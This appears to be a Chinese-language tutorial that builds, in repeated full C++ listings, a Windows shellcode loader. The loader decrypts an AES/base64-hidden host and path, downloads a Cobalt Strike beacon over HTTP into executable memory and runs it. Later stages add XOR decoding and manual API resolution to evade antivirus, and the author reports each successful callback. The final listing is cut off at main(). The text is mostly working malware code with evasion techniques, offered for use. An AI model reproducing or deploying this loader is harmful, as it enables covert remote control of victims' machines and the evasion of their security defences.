ConsoleApplication9.cpp
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
using namespace std;#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//进行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失败!解密出错!!" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}int main()
{void* exec;int payload_len = 280000; //shellcode大小 string enhost = "nlwJ3dl9R+5otLOXHixxxx=="; //远程下载的主机的ipstring dehost = DecryptionAES(enhost);// 将 std::string 转换为宽字符串 LPCWSTRint hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);LPWSTR hostLPCWSTR = new WCHAR[hostLen];MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);WORD port = 8000; //端口string enpath = "uMF83pA41Vm/UzOtowpaCA=="; //对应的文件string depath = DecryptionAES(enpath);// 将 std::string 转换为宽字符串 LPCWSTRint pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);LPWSTR pathLPCWSTR = new WCHAR[pathLen];MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存//使用默认设置创建会话session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);//发送请求并读取响应HttpSendRequest(reqfile, NULL, 0, 0, 0);InternetReadFile(reqfile, exec, payload_len, &nread);((void(*)())exec)();//关闭所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(conn);InternetCloseHandle(session);
}
base64.cpp
#include"base64.h"
#include<assert.h>
#include<iostream>
const std::string ko::Base64::baseString =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
std::string ko::Base64::encode(const std::string& s) {unsigned char array3[3];unsigned char array4[4];unsigned group = s.length() / 3;unsigned remain = s.length() - 3 * group;int pos = 0;std::string ret;ret.reserve(4 * group + 4);for (int g = 0; g < group; ++g) {for (int i = 0; i < 3; ++i)array3[i] = s[pos++];array4[0] = (array3[0] & 0xFC) >> 2;array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);array4[3] = array3[2] & 0x3F;for (int i = 0; i < 4; ++i)ret.push_back(baseString[array4[i]]);}if (remain > 0) {for (int i = 0; i < remain; ++i)array3[i] = s[pos++];for (int i = remain; i < 4; ++i)array3[i] = 0;array4[0] = (array3[0] & 0xFC) >> 2;array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);array4[3] = array3[2] & 0x3F;for (int i = 0; i < remain + 1; ++i)ret.push_back(baseString[array4[i]]);for (int i = remain + 1; i < 4; ++i)ret.push_back('=');}return ret;
}
std::string ko::Base64::decode(const std::string& s) {unsigned char array3[3];unsigned char array4[4];unsigned group = s.length() / 4;const unsigned remain = s.length() - 4 * group;int pos = 0;std::string ret;ret.reserve(3 * group);assert(remain == 0);for (int g = 0; g < group; ++g) {for (int i = 0; i < 4; ++i)array4[i] = baseString.find(s[pos++]);array3[0] = (array4[0] << 2) + ((array4[1] & 0x30) >> 4);array3[1] = ((array4[1] & 0xf) << 4) + ((array4[2] & 0x3c) >> 2);array3[2] = ((array4[2] & 0x3) << 6) + array4[3];if (array4[2] == 255)ret.push_back(array3[0]);else if (array4[3] == 255) {ret.push_back(array3[0]);ret.push_back(array3[1]);}else {ret.push_back(array3[0]);ret.push_back(array3[1]);ret.push_back(array3[2]);}}return ret;
}
base64.h
#pragma once
#include<string>
namespace ko {class Base64 {private:static const std::string baseString;public:static std::string encode(const std::string& s);static std::string decode(const std::string& s);};
}
AES.h
//AES.h#ifndef _AES_H
#define _AES_H
#include <exception>
#include <cstring>
#include <string>
#define BLOCK_SIZE 16
using namespace std;class AES
{
public:enum{ECB = 0, CBC = 1, CFB = 2};private:enum{DEFAULT_BLOCK_SIZE = 16};enum{MAX_BLOCK_SIZE = 32, MAX_ROUNDS = 14, MAX_KC = 8, MAX_BC = 8};
public:AES();virtual ~AES();
private://Key Initialization Flagbool m_bKeyInit;//Encryption (m_Ke) round keyint m_Ke[MAX_ROUNDS + 1][MAX_BC];//Decryption (m_Kd) round keyint m_Kd[MAX_ROUNDS + 1][MAX_BC];//Key Lengthint m_keylength;//Block Sizeint m_blockSize;//Number of Roundsint m_iROUNDS;//Chain Blockchar m_chain0[MAX_BLOCK_SIZE];char m_chain[MAX_BLOCK_SIZE];//Auxiliary private use buffersint tk[MAX_KC];int a[MAX_BC];int t[MAX_BC];
private:void Xor(char* buff, char const* chain);void DefEncryptBlock(char const* in, char* result);void DefDecryptBlock(char const* in, char* result);void EncryptBlock(char const* in, char* result);void DecryptBlock(char const* in, char* result);
public:void MakeKey(char const* key, char const* chain, int keylength =DEFAULT_BLOCK_SIZE, int blockSize = DEFAULT_BLOCK_SIZE);void Encrypt(char const* in, char* result, size_t n, int iMode = ECB);void Decrypt(char const* in, char* result, size_t n, int iMode = ECB);
};#endif // __RIJNDAEL_H__
AES.cpp
太大了就不放了
效果:
可以看到成功上线
到这里我们的url达到了一个方式,就是AES下载beacon811.bin文件成功,既然请求地址成功AES+base64编码解码且成功下载了了,那么这一功能完成了,
我们接下来写文件内容加密和解密,因为是二进制文件,那么第一步先给他在服务端base64加密了,然后再木马中再进行解密,我们先来把他用base64打印出来,发现控制台看不到,那么我们写到一个文件看看
增加如下代码
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
base64EncodedContent = ko::Base64::encode(base64EncodedContent);//Save the Base64-encoded content to a file
std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
outFile << base64EncodedContent;
outFile.close();
注意用到outFile需要引入
#include <fstream>
可以看到成功写入,那么我们怎么确定写入的是否就是我们shellcode进行base64编码后的内容
那么我们解密触发看看是否上线
将写入文件的注释掉,增加两行代码
base64EncodedContent = ko::Base64::decode(base64EncodedContent);((void(*)())exec)();
可以看到成功上线,nice
这一阶段的全部代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>using namespace std;#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//进行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失败!解密出错!!" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}int main()
{void* exec;int payload_len = 280000; //shellcode大小 string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ipstring dehost = DecryptionAES(enhost);// 将 std::string 转换为宽字符串 LPCWSTRint hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);LPWSTR hostLPCWSTR = new WCHAR[hostLen];MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);WORD port = 8000; //端口string enpath = "uMF83pA41Vm/UzOtowpaCA=="; //对应的文件string depath = DecryptionAES(enpath);// 将 std::string 转换为宽字符串 LPCWSTRint pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);LPWSTR pathLPCWSTR = new WCHAR[pathLen];MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存//使用默认设置创建会话session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);//发送请求并读取响应HttpSendRequest(reqfile, NULL, 0, 0, 0);InternetReadFile(reqfile, exec, payload_len, &nread);// Convert the vector to Base64-encoded stringstd::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);base64EncodedContent = ko::Base64::encode(base64EncodedContent);base64DecodedContent = ko::Base64::decode(base64EncodedContent);((void(*)())exec)();//Save the Base64-encoded content to a file//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);//outFile << base64EncodedContent;//outFile.close();//关闭所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(conn);InternetCloseHandle(session);
}
那么我们确定内容没问题接下来再此base64EncodedContent上改造加解密就可以了,因为是字符串形式,而不是难搞的二进制
但是到这里我发现我傻了,这样和base64根本没有关系,因为我调用的exec指针执行,还是之前内存中的东西,而不是base64编码后的进入内存,
那么我继续修改,目的是让我们得到的base64DecodedContent进行内存加载
可以看到成功上线
这里给出全部代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>using namespace std;#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")void decode(string& c, int key[]) {int len = c.size();for (int i = 0; i < len; i++) {c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。}
}//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//进行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失败!解密出错!!" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}int key[] = { 1,2,3,4,5,6,7 };int main()
{void* exec;int payload_len = 280000; //shellcode大小 string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ipstring dehost = DecryptionAES(enhost);// 将 std::string 转换为宽字符串 LPCWSTRint hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);LPWSTR hostLPCWSTR = new WCHAR[hostLen];MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);WORD port = 8000; //端口string enpath = "uMF83pA41Vm/UzOtowpaCA=="; //对应的文件string depath = DecryptionAES(enpath);// 将 std::string 转换为宽字符串 LPCWSTRint pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);LPWSTR pathLPCWSTR = new WCHAR[pathLen];MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存//使用默认设置创建会话session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);//发送请求并读取响应HttpSendRequest(reqfile, NULL, 0, 0, 0);InternetReadFile(reqfile, exec, payload_len, &nread);// Convert the vector to Base64-encoded stringstd::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);std::string base64DecodedContent;base64EncodedContent = ko::Base64::encode(base64EncodedContent);base64DecodedContent = ko::Base64::decode(base64EncodedContent);void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (alloc == nullptr) {std::cerr << "Failed to allocate memory." << std::endl;return 1;}// Copy decoded content to allocated memorymemcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());// Execute the allocated contentvoid (*shellcode)() = reinterpret_cast<void(*)()>(alloc);shellcode();// Free the allocated memoryVirtualFree(alloc, 0, MEM_RELEASE);//((void(*)())exec)();//Save the Base64-encoded content to a file//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);//outFile << base64EncodedContent;//outFile.close();//关闭所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(conn);InternetCloseHandle(session);
}
那么我们直接来访问我们base64编译好的a.txt文件放到服务器上,远程加载试试
发现失败,我又进行了排查(通过写入文件数据是否一致进行排查)
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);std::string base64DecodedContent;std::ofstream outFile("encoded_content.txt", std::ios::out);outFile << base64EncodedContent;outFile.close();
发现写出的文件0kb,我换成了123456编译后的base64,发现读取成功了,那么想到是长度影响的问题,那么我增大payload_len
,之前是280000,现在我改成500000
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>using namespace std;#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")void decode(string& c, int key[]) {int len = c.size();for (int i = 0; i < len; i++) {c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。}
}//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//进行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失败!解密出错!!" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}int key[] = { 1,2,3,4,5,6,7 };int main()
{void* exec;int payload_len = 500000; //shellcode大小 string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ipstring dehost = DecryptionAES(enhost);// 将 std::string 转换为宽字符串 LPCWSTRint hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);LPWSTR hostLPCWSTR = new WCHAR[hostLen];MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);WORD port = 8000; //端口string enpath = "lTbb3qMe8NsPKPjzTRaEzg=="; //对应的文件string depath = DecryptionAES(enpath);// 将 std::string 转换为宽字符串 LPCWSTRint pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);LPWSTR pathLPCWSTR = new WCHAR[pathLen];MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存//使用默认设置创建会话session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);//发送请求并读取响应HttpSendRequest(reqfile, NULL, 0, 0, 0);InternetReadFile(reqfile, exec, payload_len, &nread);// Convert the vector to Base64-encoded stringstd::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);std::string base64DecodedContent;std::ofstream outFile("encoded_content.txt", std::ios::out);outFile << base64EncodedContent;outFile.close();//base64EncodedContent = ko::Base64::encode(base64EncodedContent);//base64DecodedContent = ko::Base64::decode(base64EncodedContent);//void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//if (alloc == nullptr) {// std::cerr << "Failed to allocate memory." << std::endl;// return 1;//} Copy decoded content to allocated memory//memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size()); Execute the allocated content//void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);//shellcode(); Free the allocated memory//VirtualFree(alloc, 0, MEM_RELEASE);//((void(*)())exec)();//Save the Base64-encoded content to a file//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);//outFile << base64EncodedContent;//outFile.close();//关闭所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(conn);InternetCloseHandle(session);
}
可以看到成功写入,那么我们再来修改成之前的代码,继续运行,
成功了,一路踩坑,不过这下好了
全代码(注释自己手动去掉就好)
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>using namespace std;#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")void decode(string& c, int key[]) {int len = c.size();for (int i = 0; i < len; i++) {c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。}
}//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//进行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失败!解密出错!!" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}int key[] = { 1,2,3,4,5,6,7 };int main()
{void* exec;int payload_len = 500000; //shellcode大小 string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ipstring dehost = DecryptionAES(enhost);// 将 std::string 转换为宽字符串 LPCWSTRint hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);LPWSTR hostLPCWSTR = new WCHAR[hostLen];MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);WORD port = 8000; //端口string enpath = "lTbb3qMe8NsPKPjzTRaEzg=="; //对应的文件string depath = DecryptionAES(enpath);// 将 std::string 转换为宽字符串 LPCWSTRint pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);LPWSTR pathLPCWSTR = new WCHAR[pathLen];MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存//使用默认设置创建会话session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);//发送请求并读取响应HttpSendRequest(reqfile, NULL, 0, 0, 0);InternetReadFile(reqfile, exec, payload_len, &nread);// Convert the vector to Base64-encoded stringstd::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);std::string base64DecodedContent;//base64EncodedContent = ko::Base64::encode(base64EncodedContent);base64DecodedContent = ko::Base64::decode(base64EncodedContent);void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (alloc == nullptr) {std::cerr << "Failed to allocate memory." << std::endl;return 1;}// Copy decoded content to allocated memorymemcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());// Execute the allocated contentvoid (*shellcode)() = reinterpret_cast<void(*)()>(alloc);shellcode();// Free the allocated memoryVirtualFree(alloc, 0, MEM_RELEASE);//((void(*)())exec)();//Save the Base64-encoded content to a file//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);//outFile << base64EncodedContent;//outFile.close();//关闭所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(conn);InternetCloseHandle(session);
}
那么按照这个套路继续写以下几个算法
增加AES算法
目前顺序,服务端base64+AES算法生成的aesencode.txt文件,那么木马解密写成先解密AES再解密base64
可以看到成功上线
增加的代码如下
到这里就完成了我们的AES+base64+远程加载(请求的地址进行了AES加密)
base64加密使用到的python代码
AES加密使用到的项目
目前全代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>using namespace std;#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")typedef LPVOID(WINAPI* VirtualAllocT)(_In_opt_ LPVOID lpAddress,_In_ SIZE_T dwSize,_In_ DWORD flAllocationType,_In_ DWORD flProtect);typedef HINTERNET(WINAPI* InternetOpenW_T)(_In_opt_ LPCWSTR lpszAgent,_In_ DWORD dwAccessType,_In_opt_ LPCWSTR lpszProxy,_In_opt_ LPCWSTR lpszProxyBypass,_In_ DWORD dwFlags);typedef HINTERNET(WINAPI* InternetConnectW_T)(_In_ HINTERNET hInternet,_In_ LPCWSTR lpszServerName,_In_ INTERNET_PORT nServerPort,_In_opt_ LPCWSTR lpszUserName,_In_opt_ LPCWSTR lpszPassword,_In_ DWORD dwService,_In_ DWORD dwFlags,_In_opt_ DWORD_PTR dwContext);typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(_In_ HINTERNET hConnect,_In_opt_ LPCWSTR lpszVerb,_In_opt_ LPCWSTR lpszObjectName,_In_opt_ LPCWSTR lpszVersion,_In_opt_ LPCWSTR lpszReferrer,_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,_In_ DWORD dwFlags,_In_opt_ DWORD_PTR dwContext);typedef HINTERNET(WINAPI* HttpSendRequestW_T)(_In_ HINTERNET hRequest,_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,_In_ DWORD dwHeadersLength,_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,_In_ DWORD dwOptionalLength);typedef HINTERNET(WINAPI* InternetReadFile_T)(_In_ HINTERNET hFile,_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,_In_ DWORD dwNumberOfBytesToRead,_Out_ LPDWORD lpdwNumberOfBytesRead);
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {// Get the address of the module's PE headerBYTE* pImageBase = (BYTE*)hModule;IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);// Get the address of the export directoryIMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);if (strcmp(lpProcName, pName) == 0) {WORD ordinal = pAddressOfNameOrdinals[i];DWORD functionRVA = pAddressOfFunctions[ordinal];FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);return pFunction;}}return NULL;
}void decode(string& c, int key[]) {int len = c.size();for (int i = 0; i < len; i++) {c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。}
}//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//进行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失败!解密出错!!" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}int key[] = { 1,2,3,4,5,6,7 };int main()
